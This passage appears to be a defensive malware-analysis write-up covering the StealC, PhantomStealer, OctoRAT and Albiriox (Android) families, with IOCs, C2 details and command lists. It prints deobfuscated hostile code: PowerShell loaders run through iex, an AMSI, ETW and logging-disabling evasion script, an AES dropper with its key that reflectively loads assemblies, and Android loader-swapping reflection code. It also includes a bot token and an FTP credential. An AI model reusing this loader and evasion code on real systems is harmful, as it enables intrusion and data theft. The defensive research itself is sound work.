As you can see, even after removing all empty functions, there is still 1 called from tree177:

Which also calls Wrenly for decryption:

Of course, I didn’t have to write whole new code for this to decrypt and save binaries, I can just run (in vm) and save binaries after decryption. It drops 2 files, first one is another 64 bit .NET assembly and other one is 64 bit C++ compiled binary.
When we check out .NET assembly, it is just another highly obfuscated binary which is used by our first loader binary to load C++ compiled executable. As it is all it does, I didn’t bother to deobfuscate it, it has nothing else to do.
StealC
Now, we are left with actual stealer with a lot of functionalities. I also uploaded file to malware bazaar in case, someone needs to check it out by himself, I also deobfuscated some parts of (not so clean but still understandable) malware and I will put reference to it at the end of the page, which you can download and check it out in ghidra.
Static
Executable has 92 imports from kernel32, including LoadLibraryA, GetProcAddress (which will be only ones directly used by malware). It is going to use these 2 functions to load other libraries and find address of functions to call them in a stealthy way (only for static analysis).
First Part

The malware starts with decrpting scripts using custom decrpytion technique and load libraries, get address of functions and call them in a stealthy way. I decrypted them and renamed DATAs, after doing all these, it checks the time and continues accordingly, which I manually changed value in dynamic analysis to continue.
Second Part
This part of the malware is a lot more obfuscated and have more functionality (basically main part).

It starts with same technique as first part and next asks the C2 from response, which responds with a encrypted string.

and decrypted opcode can be:

in total: “success”, “access token”, “self delete”, “take screenshot”, “loader”, “steal steam”, “steal outlook”, “browsers”, “plugins”, “files”, “blocked”.
The values are set accordingly and it can do things like:


etc. I didn’t list everything but I resolved, decrpyted every function/string possible and uploaded it to github, in case someone needs to improve it more.
IOC
PhantomStealer
Stealer
What is PhantomStealer?
PhantomStealer is a malicious program (malware) designed to steal sensitive information from infected computers. It primarily targets data from web browsers (like saved passwords, cookies, and credit cards) and cryptocurrency wallets. It is sold as a “Malware-as-a-Service” (MaaS) on dark web forums, making it accessible to cybercriminals with limited technical skills. The stolen data is then sent to a server controlled by the attacker.
Small Story
The vbs file is provided by abuse.ch. It is a dropper file and highly obfuscated. The sample I had at the end (the main stealer) had all logging available, basically telling what it does and it was .NET executable which is so easy to understand functionality. I uploaded the file and provided IOC at the end of the page, you can check it out but I will also list every functionality of malware.
Flow

Dropper
VBS
It is basic obfuscated dropper written in vbs.
Removing last line is enough to block execution but write file to the directory:

The next bat file will be dropped to: “C:\Users\Public\PondShed7932.bat”
BAT
This file will copy itself it to “%userprofile%/aoc.bat”, which is important for future usage, this file is important part for other payloads, as it has every data encrypted in it, for example lines starting with “:::” and “::” are later gonna be used. 1 for evading AV and other 2 “::” will be decrypted and saved as .NET executables.
Next up, this bat file will execute a line which deobfuscates to this:
"\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGI...ACgA='.Replace('wtvtxislef','')))))"
and base64 decoded will be:
$banana="$env:USERPROFILE\aoc.bat";if(Test-Path $banana){$rawLines=gc $banana|?{$_ -like ":::*"};$part1=($rawLines|?{$_ -like ":::1*"}|%{$_.Substring(4)});$part2=($rawLines|?{$_ -like ":::2*"}|%{$_.Substring(4)});$part3=($rawLines|?{$_ -like ":::3*"}|%{$_.Substring(4)});$kiwi=$part1+$part2+$part3;$apple=($kiwi-replace"[~#@]",""-replace"sshzuxfsghidzyh","");if($apple){try{iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($apple)))}catch{}}}
$orange='H4sIAAAAAAAEAJVU23LTMB...TgYAAA==';$mango=[Convert]::FromBase64String($orange);$pineapple=New-Object IO.MemoryStream(,$mango);iex(New-Object IO.StreamReader(New-Object IO.Compression.GZipStream($pineapple,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
We are going to go with “:::” lines (AV evader) first then continue with second payload executed (.NET dropper).
AV Evader (PS1)
- Try to create bypass policy:
$currentFruitPolicy = Get-ExecutionPolicy -Scope CurrentUser -ErrorAction SilentlyContinue
if ($currentFruitPolicy -ne 'Unrestricted' -and $currentFruitPolicy -ne 'Bypass') {
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue
}
-
Try to patch EtwEventWrite, which is done using GetProcAddress to find the address in process and write “0xC3” or “0xC2, 0x14, 0x00” (translates to return)
-
set amsiSession and amsiContext value to Null (used by AVs)
-
remove child items at ‘HKLM:\SOFTWARE\Microsoft\AMSI\Providers’ registry path
-
Disable Event Logging
$citrusUtils = [Ref].Assembly.GetType('System.Management.Automation.Utils')
if ($citrusUtils) {
$policyCache = $citrusUtils.GetField('cachedGroupPolicySettings','NonPublic,Static')
if ($policyCache) {
$currentSettings = $policyCache.GetValue($null)
if (!$currentSettings) { $currentSettings = @{} }
$currentSettings['ScriptBlockLogging'] = @{
'EnableScriptBlockLogging' = 0
'EnableScriptBlockInvocationLogging' = 0
}
$currentSettings['ModuleLogging'] = @{
'EnableModuleLogging' = 0
'ModuleNames' = @()
}
$currentSettings['ProtectedEventLogging'] = @{
'EnableProtectedEventLogging' = 0
}
$currentSettings['Transcription'] = @{
'EnableTranscripting' = 0
'EnableInvocationHeader' = 0
'OutputDirectory' = ''
}
$policyCache.SetValue($null, $currentSettings)
}
}
Dropper (PS1)
Now we can continue with dropper. This is small payload and not hard to understand:
$wjgbg = $env:USERNAME;
$skhbb = "C:\Users\$wjgbg\aoc.bat";
function clkq($param_var){
$aes_var=[System.Security.Cryptography.Aes]::Create();
$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_var.Key=[System.Convert]::FromBase64String('6Aw/bids5nof8naOdwuxDBa+eiQ10akrEoFwKz2axsY=');
$aes_var.IV=[System.Convert]::FromBase64String('rFeF61yigw9cHvyuyAXmJw==');
$decryptor_var=$aes_var.CreateDecryptor();
$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);
$decryptor_var.Dispose();
$aes_var.Dispose();
$return_var;
}
function hhzuu($param_var){
$ectgm=New-Object System.IO.MemoryStream(,$param_var);
$aossr=New-Object System.IO.MemoryStream;
$esaup=New-Object System.IO.Compression.GZipStream($ectgm, [IO.Compression.CompressionMode]::Decompress);
$esaup.CopyTo($aossr);
$esaup.Dispose();
$ectgm.Dispose();
$aossr.Dispose();
$aossr.ToArray();
}
function tukg($param_var,$param2_var){
$azdup=[System.Reflection.Assembly]::Load([byte[]]$param_var);
$amkwo=$azdup.EntryPoint;
$amkwo.Invoke($null, $param2_var);
}
$host.UI.RawUI.WindowTitle = $skhbb;
$hdfiu=[System.IO.File]::ReadAllText($skhbb).Split([Environment]::NewLine);
foreach ($nxffh in $hdfiu) {
if ($nxffh.StartsWith(':: '))
{
$awgoc=$nxffh.Substring(3);
break;
}
}
$ceen=[string[]]$awgoc.Split('\');
$bllwg=hhzuu (clkq ([Convert]::FromBase64String($ceen[0])));
$lhyw=hhzuu (clkq ([Convert]::FromBase64String($ceen[1])));
tukg $bllwg $null;
tukg $lhyw (,[string[]] ('%*'));
So, as you can see 2 executables are dropped and executed. First dropped exe is 4kb with no functionality and second is another .NET executable which drops another executable.
Dropper (.NET)

setting breakpoint and execution is enough to retrive all bytes and save them in a file.
Stealer (.NET)
The thing about this malware is it is self-explanatory, pretty much everything is obvious and almost every function has logging

Even in the function names, you can understand every what it does. I prefer to just upload files in malware bazaar and anyone that needs deep look in the malware can check out file himself/herself using dnspy or any other decompiler.
C2
These are C2 strings I found: TelegramApi: 8442938311:AAFhmUtiYqFc4J6aGD3Cu8FYrB7hQAyUhCQ TelegramID: 5639113726
“id”:8442938311 “is_bot”:true “first_name”:“DUBEM” “username”:“DubebubeBot” “can_join_groups”:true “can_read_all_group_messages”:false “supports_inline_queries”:false “can_connect_to_business”:false “has_main_web_app”:false
IOC
57a71e4d5ce81f7931e9f9814b2ba93127f3238d76afcb7ece25d27dbd3d5d12.vbs stealer.exe
OctoRAT
RAT
What is OctoRAT?
OctoRAT is a .NET-based Remote Access Trojan (RAT) that supports a lot of commands. It was first publicly identified in late November 2025 when threat hunters traced suspicious VBScript payloads back to a GitHub repository. OctoRAT is marketed as a “remote administration framework” and has been sold via Telegram for around $800.
Static Analysis
Information
Looking up the binary in CFF Explorer (or you can just use any tool you want), we can see it is 32 bit .NET Assembly. Which in this case we will basically use dnspy-x86 (or your own favourite tool) to decompile binary. But before doing that, we can see there is Resource directory in CFF Explorer:

Which is interesting, using Resource Hacker tool we can see, RCData holds 3 data:
- 185.163.204.93
- 8080
- 185.163.204.93|8080|false|false|false
We can guess from there, these are probably related to C2 server. Doing little checkup in VirusTotal, we can see the binary contacted with this ip at 2026-02-03.
Decompilation
Now we can use dnspy to continue with our research. First thing the malware does is, checking if sqlite3.dll is available in system, if not, it retrieves sqlite3 from “ftp://server09.mentality.cloud/public_html/sqlite3.dll” using credentials “admin_syn:Black900”.

Next up, it checks if program runs as admin, if not, uses Function: GetConfig(), which reads 3th Resource string, that we found using resource hacker before. if last flag is “true” (which is false in our case), it calls to BypassUACFodHelper():

This is a well known UAC Bypass technique, which is also mapped in MITRE ATT&CK How it works is, malware modifies “Software\Classes\ms-settings\Shell\Open\command” key to point malware path, and modifies DelegateExecute key to make it empty so, command doesn’t get ignored. fodhelper is in Microsoft’s trusted whitelist, so when it is launched, it has elevations. using this technqique, malware actually launches itself and cleans current binary. (Continues with elevated privileges)
Browser Data Extraction
The first thing malware does after checking privileges is, extracting browser data, same function for “Chrome, Edge, Brave, Opera, Opera GX, Yandex” and different one for Firefox.

it gets passwords and cookies using same function for them, and tries to get master key if last flag is set to true, or if browser name is Edge, it tries different way to get it. Also different way to get cookies for edge browser. At the end, a zip archive created with all data. Next up, gets the ip and port (we found using Resource Hacker), sends the zip arhive in “Credentials_{0}_{1:yyyyMMdd_HHmmss}.zip” format to server.
RAT Setup
After sending zip archive, malware creates a mutex: “OctoRAT_Client_Mutex_{B4E5F6A7-8C9D-0E1F-2A3B-4C5D6E7F8A9B}”.
For initialization, it reads config again, in our case all flags were set “false”, but if 2th flag was set to true, malware would delete itself at the end and if 3th flag was set to true, malware would start up every minute even if you kill the process. It would be set up using “schtasks”, MITRE ATT&CK.
Next, malware connects to server and sends client info: hostname, username, os, country, monitorcount, (if client has crypto wallets).
NOTE: malware checks if client has crypto wallets by checking “\\Ethereum”, “\\Electrum”, “\\Exodus” in application data folder and “\\Programs\\Exodus” in local application data folder
And, there we are… in main loop. Where all important RAT features and stealers run.
Main loop
In main loop, there is HandlePacket() function which processes the packet retrieved if it is not null, but before going into it, there are 2 main things in main loop.
- Keylogger will be in queue if it is active (which will be set to active if server activates it by sending the packet)
- And if IsDesktopActive is set to true (which is also set to true if server activates it by sending packet), it periodically captures screen and sends to server.
Now we can continue with HandlePacket, which is around 1801 lines of code when decompiled. I will list all commands possible one by one, but to make it clear, i cant go to depth of all of them cause it would take a lot of time, you can use .Net decompilers to see how they are implemented by yourself, it is pretty easy to understand: Commands
End
And finally, after connection is lost or server exits, it cleans up and malware stops.

IOC
Wallets
Desktop Wallets (%AppData%)
| # | Name | Path |
|---|---|---|
| 1 | Bitcoin | \Bitcoin |
| 2 | Ethereum | \Ethereum |
| 3 | Electrum | \Electrum |
| 4 | Exodus | \Exodus |
| 5 | Atomic | \Atomic |
| 6 | Binance | \Binance |
| 7 | Jaxx Liberty | \com.liberty.jaxx |
| 8 | Litecoin | \Litecoin |
| 9 | Dogecoin | \Dogecoin |
| 10 | Dash | \Dash |
| 11 | Zcash | \Zcash |
| 12 | Monero | \Monero |
Desktop Apps (%LocalAppData%)
| # | Name | Path |
|---|---|---|
| 13 | Coinbase | \Coinbase |
| 14 | Ledger Live | \Ledger Live |
| 15 | Trezor | \Trezor |
Browser Extensions — Chrome (%LocalAppData%\Google\Chrome\User Data)
| # | Name | Extension ID | Profile |
|---|---|---|---|
| 16 | MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn | Default |
| 17 | Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa | Default |
| 18 | Trust Wallet | egjidjbpglichdcondbcbdnbeeppgdph | Default |
| 19 | Coinbase Wallet | hnfanknocfeofbddgcijnmhnfnkdnaad | Default |
| 20 | Binance Chain | fhbohimaelbohpjbbldcngcnapndodjp | Default |
| 21 | TronLink | ibnejdfjmmkpcnlpebklmnkoeoihofec | Default |
| 22 | Nifty | jbdaocneiiinmjbjlgalhcelgbejmnid | Default |
| 23 | MathWallet | afbcbjpbpfadlkmhmclhkeeodmamcflc | Default |
| 24 | MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn | Profile 1 |
| 25 | Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa | Profile 1 |
| 26 | MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn | Profile 2 |
Browser Extensions — Edge (%LocalAppData%\Microsoft\Edge\User Data\Default)
| # | Name | Extension ID |
|---|---|---|
| 27 | MetaMask | ejbalbakoplchlghecdalmeeeajnimhm |
| 28 | Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa |
| 29 | Trust Wallet | egjidjbpglichdcondbcbdnbeeppgdph |
Browser Extensions — Brave (%LocalAppData%\BraveSoftware\Brave-Browser\User Data\Default)
| # | Name | Extension ID |
|---|---|---|
| 30 | MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn |
| 31 | Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa |
Browser Extensions — Opera (%LocalAppData%\Opera Software\Opera Stable)
| # | Name | Extension ID |
|---|---|---|
| 32 | MetaMask | nkbihfbeogaeaoehlefnkodbefgpgknn |
Commands
System & Client Management
- “ping” - sends the ping result (ms) to server
- “update_client” - updates client malware.
- “uninstall_client” - malware cleans itself, cleans startup etc. and kills itself
Persistence & Startup
- “add_startup”, “add_to_startup” - Using AddStartupItem (custom function), adds binary to startup using name and path value in packet json. (path is added to “Software\Microsoft\Windows\CurrentVersion\Run”)
- “get_startup” - shows startup list
- “check_startup” - checks if “name” is in startup
- “remove_startup” - removes startup from “Software\Microsoft\Windows\CurrentVersion\Run” key by name
Privilege Escalation & Security Bypass
- “disable_uac” - sets “EnableLUA” key to 0 in “SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”
- “disable_firewall” - profiles are set to off using Process.Start(“netsh”, “advfirewall set allprofiles state off”);
File & Drive Operations
- “list_dir” - sends back directory result (files, name, isdir, size, modified)
- “get_drives” - sends drive informations (letter, type, total, free)
- “upload_file” - uploads file from server to victim and saves at “path” json value
- “execute_file” - executes the file in victim (path is given in json by server)
- “download_file” - server downloads the file from victim by path
- “execute_script” - executes script in “data” after doing changes over special characters like “\n, \t and \r”
- “upload_file_chunk” - uploads “chunk” to “path”
Process & Service Management
- “get_services” - sends all services information (isAdmin, services, name, displayName, status)
- “stop_service” - stops service
- “kill_process” - kills process by pid
- “get_processes” - shows running processes
- “start_service” - starts the specific service
- “suspend_process” - suspends the process by pid
Registry
- “list_registry” - gets whole registry data
- “set_registry_value” - sets registry value by given “path, name, value, valueType” in json data
Remote Desktop & Input Control
- “rd_key_up” - ups the ctrl, shift or alt key (according to packet)
- “rd_key_down” - downs the ctrl, shift or alt key
- “rd_mouse_up” - ups the button of mouse (extracted from json) at x,y position (which is also extracted from json)
- “rd_mouse_down” - downs the button of mouse
- “rd_mouse_move” - moves mouse (x,,y)
- “rd_mouse_wheel” - moves whell by “delta” value at x,y position
- “start_desktop” - starts taking screenshots of victim’s pc (sets to true)
- “stop_desktop” - stops taking screenshots of victim’s pc (sets to false)
- “change_quality” - changes width and height of screen
- “take_screenshot” - takes the screenshot of screen (unlike start_desktop which is set to true to periodically take screenshot and send to server, it takes 1 time screenshot)
- “rd_enable_input” - enables input from remote desktop (server)
- “rd_disable_input” - disables input from remote desktop (server)
Surveillance & Data Theft
- “start_keylogger” - sets keylogger to true
- “stop_keylogger” - sets keylogger to false
- “get_autofill_data” - gets the data used for autofill by “browser”
- “get_browser_history” - gets history of the “browser”
- “start_clipboard_monitor” - periodically gets changes in clipboard and sends to server
- “stop_clipboard_monitor” - stops clipboard monitor
Wallet Theft
- “scan_wallets” - scans available wallets: Wallets
- “grab_wallets” - grabs available wallets and sends as “AllWallets.zip” to server
- “grab_single_wallet” - gets single wallet by “path” and “name”
Network
- “get_network_info” - sends network info (name, description, type, status, ip, mac, speed, gateway, dns) and wifi network info (ssid, password, security)
Harassment / “Fun” Commands
- “fun_message” - shows message in victim’s pc
- “open_webpage” - opens url in victim pc
- “fun_spam_disk” - spam opens “drive” using explorer.exe by “count” (json values provided by server)
- “fun_play_sound” - plays the sound at “path” location
- “fun_swap_mouse” - swaps mouse buttons
- “fun_bock_input” - uses BlockInput api from user32.dll to block keyboard and mouse input
- “fun_flip_screen” - flips the screen
- “fun_lock_screen” - locks the screen using LockWorkStartion api in user32.dll
- “fun_hide_taskbar” - hides taskbar using ShowWindow api in user32.dll
- “fun_show_taskbar” - shows taskbar
- “fun_open_cd_tray” - sends “set CDAudio door open” string to MCI device using mciSendString api in winmm.dll
- “fun_open_website” - opens website by url
- “fun_minimize_all” - minimizes all windows
- “fun_open_notepad” - opens notepad and writes “text” given by server
- “fun_shake_windows” - shakes windows by “intensity” for a “duration”
- “fun_unblock_input” - unblocks the keyboard and mouse input for victim
- “fun_close_cd_tray” - closes cd tray using same function as fun_open_cd_tray
- “fun_restore_screen” - rolls back display resolution to one before modified
- “fun_open_calculator” - just opens calculator
- “fun_change_wallpaper” - changes wallpaper to image in “path”
Albiriox
RAT
What is Albiriox?
Albiriox is a Android Malware that emerged in late 2025, specializing in full-device takeover and ODF. This malware allows attackers to directly manipulate a victim’s phone in real-time, bypassing traditional security measures like two-factor authentication (2FA) and biometrics.
Dropper
Before we analyze malware itself, i would like to explain the dropper first. Overall the flow goes like: dropper -> dropper -> RAT. The thing is first dropper is a little bit more complex than second dropper but they have almost same structure, both have json file in assets which gets rc4 decrypted and loaded. I will explain only first dropper.
First dropper
First, we can check out AndroidManifest.xml, which shows us some permissions the dropper has:
INSTALL_PACKAGES— silently install APKsREQUEST_INSTALL_PACKAGES— prompt user to install APKsDELETE_PACKAGES— uninstall other appsQUERY_ALL_PACKAGES— enumerate all installed apps on the deviceINTERNET— network access
next up, we can see android:name="com.tail.siren.Mbalconyhidden", which is the exact class we need to analyze. The code is highly obfuscated:

But if you can already select the actual code from other useless parts, it is pretty easy to clean it up. I will show parts that are important, that i cleaned up. Like the starting point for us is attachBaseContext:
@Override
public void attachBaseContext(Context context) throws SecurityException {
super.attachBaseContext(context);
this.f = context;
String colorDirPath = a(a(this.f));
File whipDir = a(this.f, this.g);
a(whipDir);
String payloadPath = b(colorDirPath);
boolean success = d(payloadPath);
StringBuffer stringBuffer = new StringBuffer();
a(payloadPath, colorDirPath, stringBuffer, this.f);
}
Actual flow goes like this (I dont want to provide all a()functions etc. it would take too much part of report):
- Get absolute path to app_color directory
- Create app_whip directory
- Build full path to BPJ.json inside color directory
- Extract payload from assets, decrypt with RC4, write to payloadPath
- Load the decrypted DEX using DexClassLoader
After attachBaseContext(), the OnCreate() is called:
@Override
public void onCreate() throws IllegalAccessException, NoSuchFieldException,
NoSuchMethodException, ClassNotFoundException, SecurityException,
IllegalArgumentException, InvocationTargetException {
super.onCreate();
StringBuffer stringBuffer = new StringBuffer("");
String realAppClassName = stringBuffer.toString();
boolean success = false;
try {
Application realApp = (Application) Class.forName(
realAppClassName, true, getClassLoader()
).newInstance();
Application thisApp = (Application) getApplicationContext();
Class<?> contextImplClass = Class.forName(
a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 26, 98, 55, 121, 60, 117, 45, 68, 52, 125, 53})
// "android.app.ContextImpl"
);
Field mOuterContext = contextImplClass.getDeclaredField(
a(new byte[]{52, 66, 44, 121, 60, 127, 26, 98, 55, 121, 60, 117, 45})
// "mOuterContext"
);
mOuterContext.setAccessible(true);
mOuterContext.set(this.f, realApp);
Field mPackageInfo = contextImplClass.getDeclaredField(
a(new byte[]{52, 93, 56, 110, 50, 108, 62, 104, 16, 99, 63, 98})
// "mPackageInfo"
);
mPackageInfo.setAccessible(true);
Object loadedApk = mPackageInfo.get(this.f);
Class<?> loadedApkClass = Class.forName(
a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 21, 98, 56, 105, 60, 105, 24, 125, 50})
// "android.app.LoadedApk"
);
Field mApplication_loadedApk = loadedApkClass.getDeclaredField(
a(new byte[]{52, 76, 41, 125, 53, 100, 58, 108, 45, 100, 54, 99})
// "mApplication"
);
mApplication_loadedApk.setAccessible(true);
mApplication_loadedApk.set(loadedApk, realApp);
Field mActivityThread = loadedApkClass.getDeclaredField(
a(new byte[]{52, 76, 58, 121, 48, 123, 48, 121, 32, 89, 49, 127, 60, 108, 61})
// "mActivityThread"
);
mActivityThread.setAccessible(true);
Object activityThread = mActivityThread.get(loadedApk);
Class<?> activityThreadClass = Class.forName(
a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 24, 110, 45, 100, 47, 100, 45, 116, 13, 101, 43, 104, 56, 105})
// "android.app.ActivityThread"
);
Field mInitialApplication = activityThreadClass.getDeclaredField(
a(new byte[]{52, 68, 55, 100, 45, 100, 56, 97, 24, 125, 41, 97, 48, 110, 56, 121, 48, 98, 55})
// "mInitialApplication"
);
mInitialApplication.setAccessible(true);
mInitialApplication.set(activityThread, realApp);
Field mAllApplications = activityThreadClass.getDeclaredField(
a(new byte[]{52, 76, 53, 97, 24, 125, 41, 97, 48, 110, 56, 121, 48, 98, 55, 126})
// "mAllApplications"
);
mAllApplications.setAccessible(true);
ArrayList appList = (ArrayList) mAllApplications.get(activityThread);
appList.add(realApp);
appList.remove(thisApp);
Method attachMethod = Application.class.getDeclaredMethod(
a(new byte[]{56, 121, 45, 108, 58, 101}), // "attach"
Context.class
);
attachMethod.setAccessible(true);
attachMethod.invoke(realApp, this.f);
realApp.onCreate();
success = true;
} catch (Exception e) {
}
}
To simplify flow:
- Load the second dropper class from the decrypted DEX
- Use reflection to replace this loader with the second dropper in all Android framework internal fields
- Call attach() and onCreate() on the second dropper.
Actually a lot more cleaning and understanding of what helper functions did was needed to understand dropper but this is basic flow. Second dropper looks almost exactly same with nearly same logic, except in first dropper, it replaces ClassLoader entirely for DEX injection , but second dropper appends RAT to DexPathList.
RAT
Now we can actually analyze the RAT itself. The difficult part about this malware is, it is not obfuscated or anything, it just has a lot of functionalities and the decompiled code is 4830 lines. I will list as many functionalities as possible (I might leave out some simple things). I will provide code too, if it is interesting.
One thing we know about RAT is, the our starting class will be MainActivity. In OnCreate() function it calls startContinousCheck() at the last part which is the function we have to analyze now to understand what it does:
private void startContinuousCheck() {
this.checkHandler = new Handler();
Runnable runnable = new Runnable() {
@Override // java.lang.Runnable
public void run() {
if (!MainActivity.this.batteryOptimizationChecked && !MainActivity.this.isRequestingPermission) {
if (((PowerManager) MainActivity.this.getSystemService("power")).isIgnoringBatteryOptimizations(MainActivity.this.getPackageName())) {
MainActivity.this.batteryOptimizationChecked = true;
Toast.makeText(MainActivity.this, "✓ Battery optimization disabled", 0).show();
} else if (!MainActivity.this.isRequestingPermission) {
MainActivity.this.isRequestingPermission = true;
MainActivity.this.requestBatteryOptimizationExemption();
}
MainActivity.this.checkHandler.postDelayed(this, 500L);
return;
}
if (MainActivity.this.isXiaomiDevice && MainActivity.this.batteryOptimizationChecked && !MainActivity.this.xiaomiPermissionsRequested) {
MainActivity.this.requestXiaomiPermissions();
MainActivity.this.checkHandler.postDelayed(this, 500L);
return;
}
if (MainActivity.this.batteryOptimizationChecked && !MainActivity.this.accessibilityChecked && !MainActivity.this.isRequestingPermission) {
if (MainActivity.this.isAccessibilityServiceEnabled()) {
MainActivity.this.accessibilityChecked = true;
Toast.makeText(MainActivity.this, "✓ Accessibility service enabled", 0).show();
if (!MainActivity.this.serviceStarted) {
MainActivity.this.startAccessService();
MainActivity.this.serviceStarted = true;
}
} else if (!MainActivity.this.isRequestingPermission) {
MainActivity.this.isRequestingPermission = true;
MainActivity.this.openAccessibilitySettings();
}
MainActivity.this.checkHandler.postDelayed(this, 500L);
return;
}
if (MainActivity.this.batteryOptimizationChecked && MainActivity.this.accessibilityChecked && MainActivity.this.serviceStarted) {
if (MainActivity.this.isXiaomiDevice && !MainActivity.this.getSharedPreferences("app_prefs", 0).getBoolean("xiaomi_instructions_shown", false)) {
MainActivity.this.showXiaomiFinalInstructions();
MainActivity.this.getSharedPreferences("app_prefs", 0).edit().putBoolean("xiaomi_instructions_shown", true).apply();
}
MainActivity.this.checkHandler.postDelayed(new Runnable() {
@Override // java.lang.Runnable
public void run() {
MainActivity.this.finish();
}
}, 2000L);
return;
}
MainActivity.this.checkHandler.postDelayed(this, 500L);
}
};
this.checkRunnable = runnable;
this.checkHandler.post(runnable);
}
- First it checks if Battery Optimization is enable, if so it disables, optimization to keep the app alive using technique:
Intent intent = new Intent();
intent.setAction("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS");
intent.setData(Uri.parse("package:" + getPackageName()));
startActivityForResult(intent, 1002);
if so it fails, tells user to disable optimization in settings manually.
- If device is Xiaomi, it gives instruction on what to do to user related to permissions.
- After all of these, the important part comes. startAccessService() is called after checking if it is activated or not.
public void startAccessService() {
try {
Intent intent = new Intent(this, (Class<?>) AccessService.class);
intent.setAction("INITIAL_START");
startForegroundService(intent);
ServiceKeeperWorker.schedule(this);
Toast.makeText(this, "✓ Service Started", 0).show();
} catch (Exception e) {
Toast.makeText(this, "Error: " + e.getMessage(), 0).show();
}
}
What it does is, basically starting up AccessService class (which is the part where 4000+ lines of code exists). When it calls, the flow continues from onStartCommand(), it is not really important. It’s only job is keeping the service alive.
Is Accessibility On?
Now if you remember in MainActivity, malware tries to make user turn on Accessibility. If user turns it on, malware automatically runs (Android calls) onServiceConnected() (where all magic happens). Just looking at this function, we can understand a lot of functionality of malware:
public void onServiceConnected() throws JSONException, IOException {
super.onServiceConnected();
AntiRemove.startMonitoring(this);
this.handler = new Handler(Looper.getMainLooper());
this.windowManager = (WindowManager) getSystemService("window");
this.powerManager = (PowerManager) getSystemService("power");
this.keyguardManager = (KeyguardManager) getSystemService("keyguard");
this.blankOverlay = new BlankOverlay(this, this.windowManager, this.handler);
setupAntiDozeSystem();
setupWorkManager();
setupAlarmManager();
startServiceHeartbeat();
startEnhancedForegroundService();
registerCredentialsReceiver();
this.deviceHWID = getOrCreatePersistentHWID();
Log.d(TAG, "========================================");
Log.d(TAG, "Service connected with Anti-Doze");
Log.d(TAG, "Device: " + this.deviceModel);
Log.d(TAG, "HWID: " + this.deviceHWID);
Log.d(TAG, "Server IP: 185.208.156.239");
Log.d(TAG, "Battery Optimization: " + isBatteryOptimizationDisabled());
Log.d(TAG, "========================================");
this.executorService = Executors.newCachedThreadPool();
loadPendingActionsFromFile();
if (this.hasPendingActions) {
Log.d(TAG, "Found " + this.pendingUserActions.size() + " pending actions");
}
startForegroundService();
startConnectionManager();
scheduleDozeResistantAlarm();
}
NOTE: I left out some purposefully. (not a big deal)
-
AntiRemove.startMonitoring(this);- this is a smart way to don’t let use uninstall the app any way possible. There are 2 modes:- Non-Strict: When apps name appears in Settings at all, malware presses Home to don’t let user do further activity.
- Strict: Only blocks if uninstall keywords are found, around 50+ languages supported.
-
setupAntiDozeSystem();- 3 permanent WakeLocks are acquired through this function (These basically run even when screen is off etc.):CPUWakeLock-PARTIAL_WAKE_LOCK + ACQUIRE_CAUSES_WAKEUPWifiWakeLock-PARTIAL_WAKE_LOCKNetworkWakeLock-PARTIAL_WAKE_LOCK
-
setupWorkManager(- makes app survive kills, reboots etc. Even if AccessService dies, WorkManager restarts it. -
setupAlarmManager()sets alarm for 2 minutes, which restarts service everytime. -
registerCredentialsReceiver()- Registers a BroadcastReceiver to listen for login activity event.com.nmz.nmz.CREDENTIALS_CAPTUREDis sent by LoginActivity when the victim enters creds (which i will explain later on) -
getOrCreatePersistentHWID()- generates unique fingerprint for the device, so hacker can identify each victim. -
loadPendingActionsFromFile()- sends file “pending_actions.json” (user actions that were captured while the device was offline) to C2. -
startConnectionManager()- starts the main connection thread which we will go deep into.
StartConnectionManager()
The function itself is long so, I don’t want to paste it. To explain the whole function in simple terms:
- This is the core network thread that manages the connection to the attacker’s server. It runs forever in a loop.
The functions we are interested in here are:
- startReceiverThread();
- sendPendingLoginData(); // send offline-captured credentials
- startFrameCaptureThread(); // start screen streaming
- startStatsReporter(); // start logging stats
We can just understand functionalities of 2-4 by their name. But why are we actually interested in startReceiverThread()? Because This function calls handleControlMessage(), which executes the control commands from C2 like (I wrote explanation to only confusing ones):
- click
- swipe
- volume_up
- recent - opens recent apps
- volume_down
- uninstall_app
- blank_screen
- live_key_stop - turns off keylogger
- back
- home
- text - injects text into input field
- click
- power
- launch_app
- set_vnc_mode - switches between screenshot and accessibility mode (accessibility captures UI tree as JSON, no visuals)
- black_blank_screen
- live_key - turns on full keylogger, captures everything real time
- get_apps
That’s almost all about the banking trojan, but I think I also have to include every package malware looks for: NOTE: These are the malware that looks for and when it detects, LoginActivity is launched immediately.
IOC
Crypto_Packages
- com.wallet.crypto.trustapp
- io.metamask
- io.metamask.mobile
- com.coinbase.android
- piuk.blockchain.android
- com.bitcoin.mwallet
- com.bitpay.wallet
- com.breadwallet
- com.mycelium.wallet
- com.electrum.electrum
- com.coinomi.wallet
- io.atomicwallet
- com.exodus.exodus
- com.safepal.wallet
- org.toshi
- com.ledger.live
- com.tangem.wallet
- io.zerion.android
- com.rainbow.me
- com.argent.app
- com.alphawallet.app
- com.wallet.mobile
- im.token.app
- com.viabtc.wallet
- com.guarda.wallet
- com.freewallet.monero
- com.trezor.suite
- com.unstoppable.money
- com.enjin.mobile.wallet
- com.mathwallet.android
- com.tokenpocket.android
- com.phantom.app
- app.solflare.mobile
- com.sollet.app
- com.slope.wallet
- com.glow.wallet
